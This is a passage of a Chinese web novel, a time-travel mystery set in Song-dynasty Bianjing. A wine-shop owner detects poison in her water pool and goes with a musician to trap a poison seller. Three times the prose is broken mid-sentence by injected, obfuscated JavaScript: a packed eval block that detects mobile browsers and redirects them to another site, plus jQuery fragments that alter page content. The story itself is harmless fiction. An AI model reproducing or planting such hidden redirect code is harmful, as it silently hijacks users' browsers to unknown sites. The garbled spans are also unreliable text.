许知非盯着他的眼睛,两个人像两头凶兽对峙着,没有争执,呼吸即是交锋。 许云洲忽然神色一收,支起一条腿来,右侧手肘搁在膝上,指尖微微发抖,他攥紧了拳头。 他是摆出这样的姿势以掩饰自己身体的不适,许知非扫了一眼,心知肚明。 “你想要我做什么?” 他目光描着她的脸,最后落在她的唇上:“我要你开好你的店。” “有什么好处?” “庆历七年……军器监衙署失火、监丞许文谦满门被杀,其中都有辽人的痕迹……许某略有耳闻,寻思着……那一月一开的梁门鬼市……或会有些答案。” “你要我的酒坊为你作掩护,暗中帮你交好的那些官员对付某些人?” 许云洲低笑:“不然你以为,这么一家小店,在这汴京城有什么存在的必要吗?钱员外一个生意人,为什么会遭人毒死呢?杀个人来嫁祸你?许某觉得……对付坊主你,还不至于。” 他顿了顿,一点不着急的样子,回过头来,一脸挑衅,像在等着许知非生气或着急,眼里满是兴致,仿若这样的事情对他来说很有意思。 “除非他发现了些不该发现的东西。” “不该发现的?” 许云洲眉梢微扬:“他的字画,大多数人都求不来,那他是哪里弄来的呢?如果是梁门……那他的死,就说得通了。” “找到他发现的秘密,就能找到真凶?” “许坊主一定知道怎么做才稳妥。”他右手拳头攥得更紧了些,脸上却仍是一副风流浅笑。 许知非站起来,知道这人定是已经走不动路了。 “知道了,这里今晚就让给你,我去你屋里,只要你不怕我偷你东西。” 许云洲明显松了口气,放开姿态,拉起被子躺下去:“许某两袖清风,没有什么值得坊主偷的,值钱的那些……许坊主一时半会也还偷不到。” 他就那样躺下,闭了眼像是真要睡。 许知非转身离开,一开门,林修就在门外,像个人形机器人,对她眨了一下眼,没有表情。 她往西厢走,他跟在她身后,tmd还有跟随模式的吗? 她走快一点,他也走快一点,她慢下来,他也慢下来,她猛地一转身,他险些撞上她,刹了一步,后退得很稳,看得出是练过的。 “你要是没事就下楼去帮忙吧,人还多呢,赵伯和青禾忙不过来。” “坊主可以多请几个伙计。” “你给钱?” “公子给。” 他说话板是板,眼是眼,语气更是一种芯片代码味,幸好这个年代没有机器人,不然她真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080043|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要试试把他电路板扯出来看看。 许知非一口气憋住,深知活人跟机器人是说不通道理的,她点了头:“好,明天我去贴告示,麻烦你先去帮忙吧,不要跟着我了。” “是。” 他答得生硬,看起来很听话但又像有些反骨,伸手撑了一下护栏像是想直接跳下去,但马上又发觉不合适,退回来,大步走向角落里那条木楼梯。 客堂里最大声的几个汉子渐渐收了声音,一个个偷偷瞟向楼梯口,林修走进人群里,只有为数不多的几个跟他搭话。 许知非站在柱子后面看着,感叹道:“看来比关二哥镇宅。” 许云洲的琴还放在桌上,还是四天前的样子,她在桌边坐下,确定不会,指尖轻轻一拨,琴声像涟漪荡开。 这感觉有些熟悉……她又拨了一下……两下、三下……弦距均等,张力得当,音高……有些…… 她开始动手调弦,动作自然,自己都有些惊讶:“我什么时候会这些的?” 她扭动琴轸,一丝一寸,角度精确,每转一点,拨一下弦,最后听到了“正确”的鸣点。 调好之后,她又一根根弦拨下去,琴音似流水淌开。 奇的是她脑海里出现了琴谱的记忆,还有一双手。 吟猱措注,抹挑勾剔,一曲《幽兰》自她指尖流出,音色冷冽而清晰。 曲终,收音干脆,像利刃归鞘,戛然而止,带着些……气愤? 门外喧闹声不知何时静了下去,她仍是愕然,原身的记忆里,有人教她弹琴,手把手的教,她过目不忘,一样样都记得,只是……假装怎么学也学不会? 她心口泛起一阵酸,抬手攥紧了胸前衣料,桌上瑶琴静静躺着,像个妙龄女子,默默期盼着什么好事发生。 只是那种期盼,后来成了愤恨,最后…… 悬崖上的人影再此出现在她眼前,她在坠落,可却……很高兴? 她猛地回神,窗户不知怎么就开了,夜风带着些许凉意,吹起她鬓边没梳好的几缕头发,她有些汗毛倒竖。 “想多了,不可能……” 什么鬼神之说在她这里都不成立,一定是什么别的原因。 她把窗户关上,吹了灯,关门时,窗外有个影子一闪而过,她回头,什么也没看见。 …… 枢密院廨署,直房熏香浓重,周铎豹眼须髯,额上一道刀疤,越舒展就越狰狞。 司马光手执笏板,眉心深锁却目光如炬:“周枢相,虹桥此次死伤甚多,民心惶惶,开封府奏报称,是修缮不力所致,可却有传言,说坍塌断裂处,榫卯之间有锯痕,恐怕不是天灾,然今日朝会,枢密院竟无半句奏对,是何缘故?” 周铎眼中带笑,声音沙哑:“君实兄,何必心急呢?桥塌了,自有开封府、三司修缮勘验,老夫掌天下兵甲,难道还要管汴河上一座木桥?” 铜壶滴漏落下几点声响,边报从堆积如山的舆图和兵籍册上滑落下来,周铎不慌不忙,在军报上写下一句批阅,轻轻放下了笔。 司马光往前一步,急得脸发红:“就算桥不用管,那兵呢?昨日事发,承旨司张安率一队东郊厢军恰在东水门协防,今日卯时,此队人马已奉枢密院札子奔赴陈州剿匪,敢问枢相,虹桥惨案未查,目击军队反被远调,此为何故?” 周铎神色平静,手指却用力按着自己玉带:“陈州匪患迫在眉睫,难道要那队厢军对着断桥哭丧三日再动身?兵贵神速,此乃常理。” “常理?”司马光冷笑,“《宋刑统·擅兴律》明载:凡京畿禁军、厢军调度,须经中书、枢密共议,勘合符节。陈州匪患已有月余,早不调,晚不调,偏在虹桥塌后急调,张安所部,究竟看见了什么?!”他说到最后声音拔高,一双怒目瞪着周铎。 周铎起身与他平视:“君实,你为御史中丞,纠察百官是你的职份,但有些线,越了便万劫不复,你可知,事发后,太后曾召老夫入宫?” 10. 来路 司马光脸色铁青,持笏的手一下攥紧:“难道,这虹桥一事,牵连宫闱?” 周铎双手撑在桌案上,身子前倾,逼近他:“太后老人家说了八个字:‘国本为重,余皆枝叶’。”他从旁抽出一份札子推给他,“这是太后宫中内侍省今日送来的手谕,你自己看。” 司马光拾起来看,“庆云堂”这个私印是曹太后居庆寿宫时的用印,满潮皆知。 “君实啊,你与王介甫在朝堂上争律法、礼法,那是文官的事。但若涉及禁军、太后……便是另一回事。”他压低声音,似在循循劝诫,“张安那队人,去了陈州,是为国剿匪,若不幸殉国,亦是忠烈。” 司马光猛地瞪眼,目光灼灼:“周枢相!纵是太后之意,亦不可凌驾国法!厢军调动必有文书存底,张安若真见过什么,岂能……” “文书?今早枢密院北面房走水,崇文院旧档恰好焚了三箱,其中便有东郊厢军那日值勤的原始簿册,”周铎摊了摊手,笑意森冷,“天意如此。” “好一招枝叶尽剪,”司马光点头喃喃,忽然直直盯着他,“周枢相,你今日之言,司马光记下了,纵是太后旨意,若真涉及人命倾轧、朝纲崩坏,光必以血书叩阙!” 周铎拱手,指了指他手里的笏板:“请便,但君实莫忘了,你如今站在这里与老夫辩论,是因太后念你忠心体国,若要撕破脸皮……你这御史中丞的笏,怕是要换成岭南的竹杖了。” …… 许知非把自己藏在最黑的地方,静静听着所能听见的声响。 屋顶有瓦片摩擦的声音,时不时动一下,门外,有人走过去,很轻……楼下还没消停,有几个声音特别突出,像是故意的,在控制场面,只要他们出声,喧闹声就会缓下去一些。 脚店来沽酒的伙计要走了四角石冻春,声音很大,像是带足了钱来的,青禾倒是得体,许知非几乎听不见他在说什么。 后院有水声响动,紧接着,有人踢到了一个坛子,扶住了,没砸碎。 她往窗户边上挪过去,发现有人在水池边逗留,不是赵伯,不是林修,那人影驮着背,从后门溜了出去。 她拉开门,跑出去,那一汪静水是每日从井里一桶一桶提上来的,如今映着灯火月色,波光细碎。 她当时看过那些酒瓮,都没有什么异常,又去酒窖里看了一遍,没有脚印,酒坛也没有被乱动过,她推测着,莫不是许云洲的人? 只是第二天,那个池子里的水出了问题。 她起来时青禾他们刚睡下,她听见了他们收拾好后回房关门的声音,推开窗,许云洲和林修站在池子边上,看着池水,像在说着什么。 她换了身男装,用粗布巾裹了头,免得那种人又有什么幺蛾子摘她头发。 晨光清寒,客堂桌椅齐整干净,她扫了一眼,没什么不放心的,悄悄掀开了小门布帘, 那两个人抱臂站在一起,一个墨蓝一个缃色,远看像黑白无常似的,就是颜色都不太正,背对着她,好像并没发觉她靠近。 “这水是有些古怪。” “属下这就去告知坊主。” 林修像很着急,一转身,看见了许知非,一下定住。 许云洲不紧不慢,看起来并没对身边发生的事情感到意外,他盯着那池子水,慢慢才回过头来,目光落在许知非脸上,又移到她头上。 “许坊主起得早,想来夜里不曾忙活。” 许知非知道他阴阳怪气,说自己偷懒,把活都丢给了青禾和赵伯他老人家,可她便是累死了才到了这里,如今并不想再累死一回,要死,也要死的漂亮些。 “我会多请几个伙计……” “你当然要多请几个伙计。”他没等她说完,又指了一下那池子里的水,“这水,要是没人发现,能让坊主再进一次开封府,但这一次,要出来怕是很难。” “水?”许知非上前去看。 林修身后,那池子里的水清澈见底,并没有杂质或异常。 许云洲盯着她的侧脸,轻笑,撩起袖摆,指尖伸进水里轻轻一搅,水面上有些极细极浅的色彩流动起来。 许知非俯身细看:“是油污?” 她目光凝在水面上,看起来像凝视着尸身或什么证物。 她忽然走进厨房里,取来三只白瓷碗,并排放在院子里一张因风吹日晒而有些发白的木桌上。 有从库房里拿出一个竹质的长柄勺子,从池心、池边各勺起一碗水来,又从井里打了桶水,直接用碗勺了一碗。 三只碗并排放在桌上,池心水样明显有些乳白浑浊,并不是常见脏污后的黄褐色,有细微均匀分布的悬浮物,静置片刻也不见有所沉淀,池边水样稍微好一些,但也有轻微异常,而井水看起来是正常的。 她凑到碗沿闻了闻,池心水样有一丝极淡的金属气息,若有似无,不仔细闻根本无法发觉,池边水样更淡一点,井水……没有异常。 池水样本的水面上,细看可见浮着一层彩色,极细极淡,不留意根本看不出来,稍稍一动,就涣散开,更加难以分辨,静置后又迅速聚拢。 “不是正常污染……昨晚院子里进来个人,静悄悄又走了,我以为是你的人。” 许云洲站在她身后,轻笑:“他们听了定要气恼,坊主竟将他们与这般偷鸡摸狗的贼人相提并论。” “看来许先生也知道什么叫偷鸡摸狗。”许知非直起身来,冷淡道,“这池子里的水不能用了,在查清水里有什么之前,也不能往里面灌新的水,不知先生有何高见?” “厨房里的羊肝……某些活物、谷粒,或可一试。” “许先生也懂这些?” 这是生物测试,如果他只是琴师或谋士,那未免懂得有点太多。 林修自动自觉,走进厨房里,地窖冰室存着两日内要用的食材,羊肝、活的小鱼,都有,看来他们是仔细看过店里每一个地方。 许知非站着等,林修果然很快就取了羊肝和小鱼回来,又跑进库房里,抓来一把谷粒。 许云洲把一小块羊肝扔进那碗池心取的水样里,眼看着它颜色开始变暗,肉眼可见的软化,渗出液……浑浊不堪,这绝不是正常的水。 许知非取来另外一只碗,又在池心取了水,把小鱼放进去,三碗水里,池水样本里的小鱼剧烈扭动逃窜,动作慢慢开始僵硬,迟缓,先后翻了肚,体表似乎渗出些许粘液,唯独井水碗里的小鱼正常游着。 许云洲捻起谷粒放进池水样本里,谷粒没有出现明显变化。 那说明不是强腐蚀性的毒,但看鱼的表现……神经毒性或重金属盐类……可能混合了某些有机毒素,可以干扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083932|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代谢。 生物测试证明了池水有毒,且作用非常快,对神经肌肉和细胞活性有抑制和破坏的作用。 她转向林修:“你的针呢?” 林修即刻取出一个布卷,展开之后,里面是一排极细的银针。 许知非取了一支,探进池水样本里,片刻后拿起,针身没有明显变黑。 “不是砒霜……或者经过特殊处理,掩盖了跟银的反应。” 许云洲不知什么时候从后厨端来一碗热水,又从袖口取出一把花干放进去,搅了一下,看着水变成紫色。 他还懂这个?许知非观察着,没动。 许云洲异常专注,拿起竹勺舀了半勺池水,小心翼翼,轻轻倒进去,碗里的水很快变成蓝绿色。 “加了东西掩盖毒质。”他笃定道。 他怎么知道?许知非打量着他。 许云洲似乎发觉了她的审视,转向她,眉眼之间柔情流淌:“坊主以为如何?” 许知非目光锐利,盯着他:“还缺一样东西。” 许云洲唇角扬起,从怀里取出一个瓶子:“皂角?” 许知非眉头一拧:“你怎么知道的?” 许云洲看了看手里的瓷瓶,一脸惊喜:“我游方所得,无事可做便杂学了些,想不到真能用上。”他说着看向她,“嗤”地一笑。 话不知真假,但怎么看着像有点精神病? 许知非警惕着,伸手把那碗井水端起来,倒在地上,勺了一碗池心的水,端在他面前:“倒进去。” 许云洲敛了神情,再次专注起来,把瓷瓶里的皂角液慢慢倒进去,但看动作并不熟练。 碗中水面立即浮起一层细微絮状物,有细微彩光,是油脂或类脂物质,又或者某些有机毒物跟皂角发生了反应。 “明矾。”林修忽然递给她另一个瓷瓶,像个懂事的机器人。 她一怔,左右看了看这两个人,怎么像是都知道她要干嘛,而她却什么都不知道的样子。 她接过林修手里的瓷瓶:“谢谢,我还要个碗。” 林修转身就去了厨房,拿出两个白瓷碗来:“全都拿来了。” 许知非拿起一个,勺了池水,把瓶子里的明矾溶液倒进去,静置在桌上。 不久,碗底出现了比寻常水体更多更明显的胶冻状沉淀,且颜色略微有些灰白。 有机毒素或其他胶态悬浮毒物…… 她又取了一个碗,勺了一碗池心水走进柴房里,点了蜡烛,把水倒在一个陶碟上,放在火上烤。 许云洲和林修站在门边,静静看着,碟子里的水渐渐干透,出现了一点淡黄色的黏稠物,金属气味很重,许知非一下皱紧了眉头。 池水里的毒也是复合毒素,包括了某些生物碱或神经毒素,一种或多种重金属盐,少量增加某些成分溶解度或稳定性的碱性物质。 “也是混合毒物,毒性不强,会导致身体不适,且是慢毒,不易察觉,一时半会死不了人,但若用来酿酒,是一定不成。”她冷静道。 许云洲走近细看那个陶碟里的东西:“看来,已经找到元凶了。” 她抬头看他,眼神警惕:“谁?” 那张脸看起来温柔如水,却有些说不出的寒意,目光一转,看向许知非:“你抢了谁家生意,那便是谁。” 11. 所愿 生意?御街一带,酒坊食肆很多,但若说有明显的过节……许知非一番细思…… “风月楼?” 许云洲轻笑,又看了看她用布巾包起来的头发:“兴许是,而这毒,跟钱员外的案子,有点儿像,不是吗?” “他们想让我酿不成酒,做不成生意,是人之常情,我能理解,但下毒害人这种龌龊手段,绝不能容忍,否则,形同放任野兽行于街市,纵容它伤人害命。” “坊主有何高见?”许云洲看着她的眼睛,饶有兴致,像是故意让她说。 许知非站起来,面向他:“许先生有心找到真凶,不论有无私心,想来也算为民除害,那不如去邀许家小娘子走一趟?不然他们以为钻在阴沟里就没人能抓着,以为自己有天大的本事,咱们这就一把火烧进去,让他们知道,自己连逃的方向,都是烂的,臭的。” 许云洲没退,两人近到能感觉到彼此的体温和呼吸,他会心一笑:“那我这就去备份礼,请了小娘子出门来,毕竟行天道,收贼赃,不宜过夜。” 柴房里,桌上摆满了许知非简易凑活的实验器具,古人管这叫炼丹术,能察金石药理,沟通五行阴阳。 许云洲对林修使了个眼色,自己离开,林修没什么反应,看他走了,又盯着那些碟子、罐子看,像是本就不觉得自己有需要跟出去。 许知非走到他面前,挡了他的视线:“林公子,你昨日让我找伙计,我觉得有道理,不如,这事就劳你帮忙?” 林修目光落在她脸上,点头:“是,此事不难。” “谢啦。”她满意道。 她那时还不知道,许云洲早已叫他准备了人要混进酒坊来做伙计,一家新起的正店酒坊,招聘告示一出,应聘的人立刻排到了街尾,比来沽酒的队伍都要长。 但其中不乏心思不正,想要混进酒坊来蹭酒喝的酒鬼和浪荡子,许知非自知来这里还不够久,选人的事情,当然是汴京长居之人擅长些。 林修略一过目,问来处,家底,经历,看他人如何言说分辨,便知此人是真来寻份活计,还是想到酒坊来混日子喝酒的。 许知非当时站在一边,只听只看,并没发觉那是审问犯人的本事。 那几个安排好的人所答最好,来路清晰,说到看店跑堂的活皆是条理独到,又是汴京本地人,出身清白,自带身份凭证。 可如今想来,真是太过周全了些,反倒令她疏忽大意,以为找了好工人。 许云洲暮时回来,手里捧了一个包袱,敲了她的房门:“坊主过目,就是不知能不能入许家娘子的眼。” 楼下,林修像镇宅一样站着,偶尔走动,往最控制不住自己的酒客身边站,几个新来的伙计手脚麻利,看起来跟他们自己说的一样,都不是生手,是王楼打过杂的,刘家买过饼的……诸如此类。 赵伯一把年纪算是得了闲,只是跟来客打招呼,吩咐伙计们办事,取酒,指路。 堂里喧闹不断,有个伙计甚至到后厨开始炒菜,赵伯看过之后便默许了他。 许知非双手捧着包袱,靠在栏杆上扫了一眼,耳边尽是客堂里传来的声音。 “里面是什么?” “酬劳的一部分。” 许知非这才回过头来,一面往房间里走,一面只手打开,看见里面玉白的织锦,停步回头:“太少。” 她抬眼看他,脸上没有丝毫情绪,只是一种判断和决策,从种种迹象看来,她推断这人定还能给更多。 许云洲果然从怀里取出一个小布包,打开后,是一对钗环,蝴蝶样式,翅膀做得极好,金丝缠作翅膀,嵌的宝石点缀,微微颤着光。 许知非一把取走,连同那个包袱一起捧着:“你在外面等。” 她关上房门,脱掉了男装,襦裙尺寸刚好,绣样精细,怎么看都是提前做好的,难不成临时能找到? 她一边梳头发,一边想,他像在引她往什么地方去,一路上都是材料包,准备齐全,直接掉在她手上。 她梳了个简单的发髻,带上钗镮,这倒是第一次。 许云洲回房取了琴,一身月白襕衫等在门口,那副风流琴师的模样,看起来又是个e人,早已在汴京混了个脸熟,背对房门似跟楼下不知谁打了个招呼。 他转过身来,眼睛亮了一下,应该算是惊艳? 她提了一下裙摆,跨出去:“我以药材商人的身份前去,借口是寻找稀罕毒物救家中兄长,看能不能引来水底的泥鳅。” “泥鳅太滑,我在与你相邻的雅间守着。” 许云洲低声说着,走在她身后,看着她的背影,并没有对她的安排有丝毫异议。 许知非转弯时留意了一下,余光可见他盯着她看,她默默警觉。 两人从后门出去,沿着河岸往西走。 风月楼是御街西侧一个老牌正店酒楼,邻进延庆观,撷芳阁是里头一个听曲小院,不大的莲池边上楼阁香暖,有歌姬在莲池边卖唱。 许知非走在前面,门口的伙计却像只看见了许云洲,点头哈腰绕过了她:“许公子,什么风把您吹来了?是不是春风酒幡的酒不好喝啊?” “想风月时便来贵地听首曲子,与酒无关,”他说着瞟向已走远的许知非,侧开一步,“你们东家若不嫌弃,许某今夜亦可在此处助兴一曲。” “哪里话哪里话,许公子愿来便是小店的福气,哪敢劳您还给咱们助兴,东家就算答应,也怕那垂拱殿不大答应,小的这就给您安排雅间听曲。” 许云洲拱手:“有劳了。” 许知非一个女子,面生,没人跟她招呼,像是觉得她只是来看看,坐不坐下也无甚要紧。 她抿着唇,指尖轻描裙摆上繁复的纹样,耳边听见后面园子里,撷芳阁笙歌软语飘渺而来,她循着声音来处走过去。 月落莲池,像带了花的美人静静拨弄池水,阁内熏香浓得离谱,许知非掩了掩口鼻,回头发现许云洲不知去向。 她走上二楼雅座,看见纱帘另一边有个老妇人,她对面站了一个女孩,像是丫鬟打扮,但不算贫简,低着头。 老妇人把一个瓷瓶给了那个女孩:“拿着,改良过的千机引,连服三日方显毒性。” 那女孩把一个钱袋给了她,接下瓷瓶便走了。 许知非悄悄靠近,隔着帘子开口道:“不知婆婆有没有能救人的毒物?” 老妇人一边走一边装钱,脚步忽然收住,转向她:“救谁?什么人?” “小女兄长缠绵病榻已有月余,需些特殊药物,听闻此处有解,故而前来求助。” “你是什么人?” 老妇人撩起两人之间的帘子,满是褶皱的一双眼睛打量着她。 许知非不慌不忙,大概施了个礼,电视里看来的,她也不知道对不对,但聊胜于无…… 她扮了一副柔弱之态,说道:“小女家里是卖药材的,可兄长突患恶疾,却无药救治,故而才寻到了这里。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087632|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那老妇人冷笑道:“你说你寻到了这里,那我问你,我是谁?” 许知非当然答不上来,但反应丝滑且彻底,低头就跪下:“小女不才,还请婆婆相救,日后定竭尽全力报答婆婆恩情。” 她跪得突然,那老妇人像是料想不到,退了半步:“你快起来,这让人看了还以为老婆子我众目睽睽之下欺负一个小姑娘。” “婆婆……”许知非抬眼,一副楚楚可怜的模样。 “谁是你婆婆,你家郎君答应没?赶紧起来!” “小女并无婚配,但只要能救哥哥,小女甘愿……” 她没说完,一只手把她从地上拔了起来,力道干脆且熟悉,她回头一看,果然…… 许云洲冷脸盯着那个老妇人:“不知这姑娘犯了何事?许某未曾听闻这撷芳阁是能用私刑的地方?” 老妇人眼中一亮,甚至有些高兴,如今想来,她许是是认得这能出入宫宴的琴师,特别客气:“许公子也来了……呃……是这女子自己跪下的,可与老身无关啊。” 许知非站起来,微微倾身,攥紧了许云洲一侧衣袖:“这位公子,家中兄长身患恶疾,我是为求药而来,婆婆方才确有神药,可嫌我不曾问来她的名讳,觉得我不够诚意,我……我唯有跪下,请公子帮我说说好话吧。” 许云洲看了一眼她抓着自己的手,蹙眉道:“她是什么人?有什么药?” 那老妇人躬身自荐,接了话:“老身姓薛,确有些妙药,但并不知道能不能救这姑娘的兄长,更不知这姑娘要求什么药。” “既有便试试,许某或可替她付账,你莫为难她。”他说得得体平和,一副翩翩公子的气度。 老妇人驼着背,点头,看向许知非,声音拉高:“那好,你说,你想要什么?” 许知非想了想:“一味剧毒,紫金莲。” “紫金莲?老身从未听过啊。”老妇人大惑不解。 她当然没听过,本来就是瞎编的…… 许知非眼珠一转,又夹了一鼻子哭腔,拉紧了许云洲的衣袖,像是百感交集。 “听闻是一种混合而成的毒剂,药力比寻常良药强,可催转体内血脉,又不至于太急,危及性命,我哥哥的病,正要这个。” 老妇人眼神微有躲闪,后又端起了一副长辈的架子,明显扬高了脸,高高在上的样子:“你说的这个,老身确实没有,但可给你寻来,如何?” 许云洲做出满脸苦思之态:“这等毒物奇得很,不知何处可寻?” “哪来的可不兴说,说出去了那老身这生意还怎么做?过两日,叫这姑娘再带着钱来这里取就是了。”她对许云洲福了一礼,“公子是贵人,老身就给公子一个面子,这些秘药,是家传的方子,不曾卖过生人的。” 她看了看许知非,并没有等许云洲回答,自己从旁离开。 许知非回头转身,看着她略显佝偻的背影,紫色衣裙满绣蝴蝶牡丹,步态造作,端得刻意,一副暴发户的样子。 她抬头看向许云洲,杏眼之中映着楼阁灯火,却似凝成了一汪寒潭:“你不会再等两日,对吧。” 许云洲眸中含笑,眼神深处却似另有暗流:“在你。” “我?” “求药的是你,不是我,也不是春风酒幡的坊主。” 许知非垂下眼帘,睫毛微微动了动,低声道:“跟着她。” 许云洲望向那老妇走远的身影:“如你所愿。”